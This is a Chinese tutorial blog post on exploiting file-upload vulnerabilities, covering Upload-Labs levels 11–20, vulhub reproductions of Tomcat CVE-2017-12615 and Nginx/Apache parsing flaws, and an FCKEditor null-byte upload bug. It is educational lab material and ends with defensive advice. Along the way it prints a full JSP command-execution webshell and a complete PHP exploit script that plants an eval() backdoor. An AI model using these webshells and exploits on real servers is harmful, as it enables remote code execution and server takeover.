文件上传漏洞进阶实战博客

在 Web 安全领域,文件上传漏洞始终是高危漏洞的重灾区,攻击者通过上传恶意脚本文件,即可直接获取服务器的执行权限,进而控制整个站点甚至服务器。

对于入门学习者而言,Upload-Labs 靶场是绝佳的实战训练平台,它模拟了从基础到进阶的 20 种常见文件上传漏洞场景;而在真实的渗透测试中,我们还会遇到中间件解析漏洞、第三方编辑器漏洞这类更复杂的实战场景。本文将从靶场闯关出发,逐步深挖容器解析漏洞与编辑器漏洞的底层原理,带你完成从入门到实战的进阶突破。


一、Upload-Labs Pass11-Pass20:靶场闯关实战

Upload-Labs 是一个专门用于训练文件上传漏洞绕过技巧的靶场,左侧的关卡列表对应了不同的防护逻辑与绕过方式,我们本次聚焦进阶的 Pass11 到 Pass20 关卡,逐一拆解其绕过思路。

Pass11:GET 型 0x00 截断绕过

思路

这一关的核心防护是白名单后缀校验,仅允许上传图片后缀,但后端的保存路径save_path是可控的,我们可以利用0x00 截断来绕过后缀的拼接逻辑。

原理

0x00 截断是操作系统层的漏洞,由于底层 C 语言处理字符串时,会以\0(即 0x00 字符)作为字符串的结束标志,当读取到这个字符时,就会认为字符串已经结束,忽略后面的内容。

这一关的核心代码如下:

复制代码
​
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

后端会把我们传入的save_path,和随机文件名、后缀拼接成最终的保存路径。

注意:该漏洞仅在PHP 版本 < 5.3.4 ,且magic_quotes_gpc关闭的环境下生效,高版本 PHP 已经修复了这个问题。

步骤
  1. 正常上传一张图片,使用 Burp Suite 拦截上传请求。

  2. 修改请求中的save_path参数,将其改为../upload/shell.php%00

  3. 由于 GET 请求会自动对%00进行 URL 解码,最终拼接后的路径为:../upload/shell.php%00/xxx.jpg

  4. 底层处理路径时,遇到 0x00 就会截断,最终保存的文件就是shell.php,成功绕过了后缀校验。

Pass12:POST 型 0x00 截断绕过

思路

这一关和 Pass11 的逻辑几乎完全一致,唯一的区别是save_path参数从 GET 传递变成了 POST 传递。

原理

GET 型的参数会被 PHP 自动进行 URL 解码,而 POST 请求中的%00不会被自动解码,因此我们需要手动对其进行解码,才能让底层识别到 0x00 字符。

步骤
  1. 同样拦截上传请求,修改save_path../upload/shell.php%00

  2. 在 Burp Suite 中,选中%00这部分内容,右键选择Convert selection --> URL --> URL-decode,将其解码为真实的 0x00 空字符。

  3. 发送请求,即可成功上传 php 文件,原理和 Pass11 完全一致,只是需要手动解码。

Pass13:图片木马绕过

思路

这一关后端会验证上传文件的内容,确认是图片格式,单纯改后缀已经没用了,我们可以制作图片木马,把恶意代码藏在图片的文件头之后,绕过内容校验。

步骤
  1. 准备一张正常的图片image.png,和一个一句话木马文件info.php

  2. 在 CMD 或 PowerShell 中执行合并命令:

    复制代码
    ​
    copy image.png /b + info.php /a webshell.png

    其中/b表示以二进制方式合并图片,/a表示以 ASCII 方式合并木马代码,这样就把恶意代码追加到了图片的末尾,不会破坏图片的格式。

  3. 上传这个合并后的webshell.png,后端校验图片格式时会认为这是正常图片,成功上传,之后配合文件包含漏洞即可执行其中的恶意代码。

Pass14:getimagesize 校验绕过

思路

这一关后端使用了getimagesize()函数来校验文件,这个函数会读取图片的大小和相关信息,本质上还是校验文件的头信息,判断是不是图片。

步骤

和 Pass13 完全一致,使用图片木马即可绕过,因为我们的图片木马本身就是合法的图片格式,getimagesize()可以正常读取到图片的信息,不会检测到末尾的恶意代码。

Pass15:exif_imagetype 校验绕过

思路

这一关后端使用了exif_imagetype()函数,这个函数会读取图片的第一个字节,检查文件的签名,来判断图片类型,本质上还是校验文件头。

步骤

同样使用图片木马即可绕过,我们的图片木马的文件头是正常的图片签名,这个函数可以正常识别,不会检测到末尾的恶意代码。

Pass16:二次渲染绕过

思路

这一关后端会对上传的图片进行二次渲染,也就是重新生成一张图片,之前我们追加在图片末尾的恶意代码会被直接清除掉,普通的图片木马已经没用了。

原理

二次渲染会把图片的像素数据重新处理,但是 GIF 图片因为最多支持 256 种颜色,重新渲染后改动的部分比较少,我们可以把恶意代码插入到图片不会被修改的位置,绕过渲染。

步骤
  1. 首先制作 GIF 图片木马:

    复制代码
    ​
    copy image.gif /b + info.php /a ww.gif
  2. 上传这个ww.gif,然后把服务器渲染后的图片下载下来,此时我们的恶意代码已经被清除了。

  3. 使用 010Editor 这类十六进制编辑器,对比原始的图片木马和服务器返回的渲染后的图片,找到没有被修改的位置。

  4. 把恶意代码插入到这个位置,修改后的图片既可以通过二次渲染的校验,又能保留我们的恶意代码。

  5. 上传修改后的图片,此时恶意代码就会被保留下来,配合文件包含即可执行。

Pass17:条件竞争绕过

思路

这一关的逻辑是:不管什么文件,先上传到服务器,然后检查,如果不是图片,就立刻删除这个文件。看起来很安全,但是我们可以利用条件竞争,在文件被删除之前,访问它,让它执行我们的恶意代码。

原理

文件的上传、检查、删除是有时间差的,我们可以用多线程不断上传恶意文件,同时不断访问这个文件的地址,只要在服务器删除文件的瞬间,我们的访问请求到达,PHP 就会执行这个文件里的代码,即使之后文件被删除,我们的命令已经执行完成了。

步骤
  1. 准备一个一句话木马文件info.php

  2. 开启多线程,不断上传这个文件,同时不断访问http://localhost/upload/info.php

  3. 只要有一次请求,在文件被删除之前访问到,就可以成功执行恶意代码。

Pass18:解析漏洞绕过

思路

这一关后端会对上传的文件进行重命名,我们无法控制文件名,普通的 00 截断已经没用了,但是我们可以利用中间件的解析漏洞。

步骤
方式一:Apache 解析漏洞

我们上传一个文件info.php.7z,Apache 解析文件时,会从右往左识别后缀,只要遇到.php就会停止,把这个文件当成 php 文件解析,即使后缀是.7z也没关系。

方式二:条件竞争

和 Pass17 类似,不断上传文件,同时不断访问这个文件,在删除之前执行。

Pass19:黑名单绕过

思路

这一关是黑名单校验,过滤了 php、asp 等可执行后缀,但是文件名是可控的,我们可以用两种方式绕过。

方法 1:0x00 截断

和之前的截断原理一样,把文件名改为shell.php%00.jpg,后端校验后缀的时候,看到的是.jpg,符合白名单,但是保存的时候,0x00 截断,最终保存的是shell.php

方法 2:路径绕过

把文件名改为shell.php/.,后端校验后缀的时候,会认为后缀是空的,绕过了黑名单,而系统处理路径的时候,会忽略末尾的/.,最终保存的就是shell.php

Pass20:白名单数组绕过

思路

这一关是白名单校验,仅允许图片后缀,但是后端处理文件名的逻辑存在缺陷,我们可以构造数组来绕过。

原理

后端的核心代码是这样的:

复制代码
​
$ext = end($file); // 取数组最后一个元素作为后缀
$f = reset($file); // 取数组第一个元素作为文件名
$file_name = $f . '.' . $file[count($file) - 1]; // 拼接文件名

正常来说,我们上传的文件名是shell.jpg,解析成数组的话,$file[0]='shell', $file[1]='jpg',最终拼接成shell.jpg

但是我们可以构造一个不连续的数组:

复制代码
​
$file[0] = 'shell.php';
$file[2] = 'jpg';

此时:

  • end($file)取到最后一个元素,也就是jpg,符合白名单,校验通过。

  • count($file)是 2,所以$file[count($file)-1]就是$file[1],这个索引不存在,值为 null。

  • 最终拼接的文件名就是shell.php.,末尾带一个点。

而 Windows 系统处理文件名时,会自动去掉末尾的点,所以最终保存的文件就是shell.php,成功绕过了白名单校验。

步骤
  1. 拦截上传请求,把文件名参数改为数组形式:save_name[0]=shell.php&save_name[2]=jpg

  2. 发送请求,即可成功上传 php 文件。


二、容器解析漏洞:真实场景的漏洞深挖

在真实的渗透测试中,我们经常会遇到中间件的解析漏洞,这类漏洞是中间件本身的缺陷,即使后端做了严格的文件校验,也可能被绕过,我们借助 vulhub 靶场来复现这几类常见的解析漏洞。

1. Tomcat PUT 任意文件上传漏洞(CVE-2017-12615)

漏洞原理

当 Tomcat 开启了 PUT 请求方法,并且将readonly设置为 false 时,攻击者可以通过构造 PUT 请求,上传任意文件。默认情况下 Tomcat 禁止上传 jsp 文件,但是我们可以在文件名后加一个/,绕过这个限制,Tomcat 处理路径时会自动去掉末尾的/,最终成功上传 jsp 木马。

该漏洞影响 Tomcat 7.0.0 - 7.0.81 版本。

复现步骤
  1. 首先启动 vulhub 靶场:

    复制代码
    ​
    cd /home/enjoy/vulhub-master/tomcat/CVE-2017-12615
    docker-compose build
    docker-compose up -d
  2. 使用 Burp Suite 拦截请求,构造 PUT 请求,上传 jsp 木马:

    复制代码
    ​
    PUT /1.jsp/ HTTP/1.1
    Host: 你的靶机IP:8080
    Accept: */*
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 750
    ​
    <%-- 这里是jsp一句话木马的内容 --%>
    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
    <%!public static String excuteCmd(String c) {
     StringBuilder line = new StringBuilder();
     try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
     String temp = null;while ((temp = buf.readLine()) != null) {
     line.append(temp+"\n");}buf.close();} catch (Exception e) {
     line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
     out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}
    else{out.println(":-)");}%>
  3. 发送请求后,访问http://靶机IP:8080/1.jsp?pwd=023&cmd=id,即可执行任意命令。

2. Nginx 解析漏洞

漏洞原理

这个漏洞是由于 Nginx 的fastcgi_split_path_info配置不当导致的,当我们访问http://xxx.com/1.jpg/.php时,Nginx 会把1.jpg当成要解析的 php 文件,把/.php当成 path info 传递给 php-fpm,最终就会执行1.jpg里的 php 代码。

复现步骤
  1. 先关闭之前的靶场,启动 Nginx 的靶场:

    复制代码
    ​
    sudo docker-compose down
    cd /home/enjoy/vulhub-master/nginx/nginx_parsing_vulnerability
    docker-compose build
    docker-compose up -d
  2. 上传我们的图片木马1.jpg,得到上传后的地址。

  3. 访问http://靶机IP/uploadfiles/xxx.png/a.php,此时 Nginx 就会把 png 文件当成 php 来解析,执行其中的恶意代码。

3. Apache 解析漏洞

漏洞原理

Apache 有一个特性:它会从右往左识别文件的后缀,只要遇到一个可识别的可执行后缀(比如 php),就会停止,把这个文件当成对应的类型来解析,不管后面还有什么后缀。

比如我们上传一个文件shell.php.png,Apache 会先识别到.png,不对,然后往左,识别到.php,就会把这个文件当成 php 文件来解析,这样就绕过了后端的白名单校验。

复现步骤
  1. 关闭之前的靶场,启动 Apache 的靶场:

    复制代码
    ​
    sudo docker-compose down
    cd /home/enjoy/vulhub-master/httpd/apache_parsing_vulnerability
    docker-compose build
    docker-compose up -d
  2. 把我们的图片木马重命名为shell.php.png,上传到服务器。

  3. 直接访问这个文件,Apache 就会把它当成 php 文件来解析,执行其中的恶意代码。


三、编辑器漏洞:FCKEditor 上传漏洞实战

除了中间件的漏洞,第三方的编辑器也经常存在上传漏洞,比如老版本的 FCKEditor,就存在 00 截断的上传漏洞,我们来复现这个漏洞。

漏洞原理

FCKEditor 的文件上传接口,在处理CurrentFolder参数时,存在 00 截断漏洞,我们可以在这个参数里插入%00.gif,后端校验的时候,会认为我们要上传到fuck.php%00.gif这个目录,后缀是 gif,符合图片的白名单,但是保存的时候,0x00 截断,最终把文件保存为fuck.php

复现步骤

  1. 首先搭建 FCKEditor 的靶场环境,修改配置文件,开启上传功能。

  2. 编写利用脚本fck.php,内容如下:

    复制代码
    ​
    <?php
    error_reporting(0);
    set_time_limit(0);
    ini_set("default_socket_timeout", 5);
    define(STDIN, fopen("php://stdin", "r"));
    $match = array();
    ​
    function http_send($host, $packet)
    {
        $sock = fsockopen($host, 80);
        while (!$sock)
        {
            print "\n[-] No response from {$host}:80 Trying again...";
            $sock = fsockopen($host, 80);
        }
        fputs($sock, $packet);
        while (!feof($sock)) $resp .= fread($sock, 1024);
        fclose($sock);
        print $resp;
        return $resp;
    }
    ​
    function connector_response($html)
    {
        global $match;
        return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match)
        && in_array($match[1], array(0, 201)));
    }
    ​
    print "\n+------------------------------------------------------------------+";
    print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |";
    print "\n+------------------------------------------------------------------+\n";
    if ($argc < 3)
    {
        print "\nUsage......: php $argv[0] host path\n";
        print "\nExample....: php $argv[0] localhost /\n";
        print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
        die();
    }
    $host = $argv[1];
    $path = ereg_replace("(/){2,}", "/", $argv[2]);
    $filename = "fvck.gif";
    $foldername = "fuck.php%00.gif";
    $connector = "editor/filemanager/connectors/php/connector.php";
    $payload = "-----------------------------265001916915724\r\n";
    $payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
    $payload .= "Content-Type: image/jpeg\r\n\r\n";
    $payload .= 'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'."\n";
    $payload .= "-----------------------------265001916915724--\r\n";
    $packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
    $packet .= "Content-Length: ".strlen($payload)."\r\n";
    $packet .= "Connection: close\r\n\r\n";
    $packet .= $payload;
    print $packet;
    if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
    else print "\n[-] Job done! try http://${host}/$match[2] \n";
    ?>
  3. 在 CMD 中执行这个脚本:

    复制代码
    ​
    E:\upload-labs-env\PHP> .\php.exe .\fck.php 127.0.0.1:80 /fckeditor/
  4. 执行完成后,访问http://localhost/userfiles/image/fuck.php,传入参数cmd=phpinfo();,即可执行任意 php 代码。


四、总结与防御建议

通过本次的实战,我们可以看到,文件上传漏洞的绕过方式层出不穷,从基础的 00 截断,到条件竞争,再到中间件的解析漏洞,本质上都是利用了后端逻辑的缺陷,或者中间件的处理特性。

对于防御而言,我们可以从以下几个方面入手:

  1. 严格的后缀校验:使用白名单,仅允许必要的文件后缀,并且对文件名做严格的处理,去掉末尾的点、空格等特殊字符。

  2. 文件重命名:上传文件后,对文件进行随机重命名,不要使用用户上传的文件名,避免攻击者控制文件名。

  3. 文件内容校验:不仅校验文件头,还要对图片进行二次处理,清除其中的恶意代码,或者使用云存储的文件检测功能。

  4. 升级中间件版本:及时升级 Tomcat、Nginx、Apache 等中间件到最新版本,修复已知的解析漏洞。

  5. 限制上传目录的执行权限:把上传目录设置为不可执行,即使攻击者上传了木马,也无法执行其中的代码。

希望本文的内容可以帮助你深入理解文件上传漏洞的原理,在实战中更好地发现和防御这类漏洞。

相关推荐
芯盾时代3 小时前
高校信息化网络安全需求分析
网络·安全·web安全
一名优秀的码农3 小时前
vulhub系列-35-hacksudo ProximaCentauri(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Chengbei1112 小时前
Redis 图形化综合检测工具:redis_tools_GUI,一键探测 + 利用
数据库·redis·web安全·网络安全·缓存·系统安全
Chengbei1114 小时前
若依全漏洞复现:从 SQL 注入到 RCE 一站式实战 复现、利用与防御
数据库·sql·安全·web安全·网络安全·系统安全·安全架构
还是做不到嘛\.1 天前
蚁剑安装及简单使用教程
web安全
小陈工1 天前
2026年3月25日技术资讯洞察:开源芯片革命、Postgres文件系统与AI Agent安全新范式
开发语言·数据库·人工智能·python·安全·web安全·开源
网安情报局1 天前
从防火墙到AI自免疫:网络安全防御体系十年范式转移与未来架构
人工智能·web安全·架构
PcVue China1 天前
PcVue荣获IEC62443-4-1 国际网络安全认证:深耕中国市场,助力“新质生产力”安全转型
安全·web安全·等保·iec62442--4-1·gb/t 42457-2023·安全开发周期
Chockmans2 天前
春秋云境CVE-2021-44915
web安全·网络安全·春秋云境·cve-2021-44915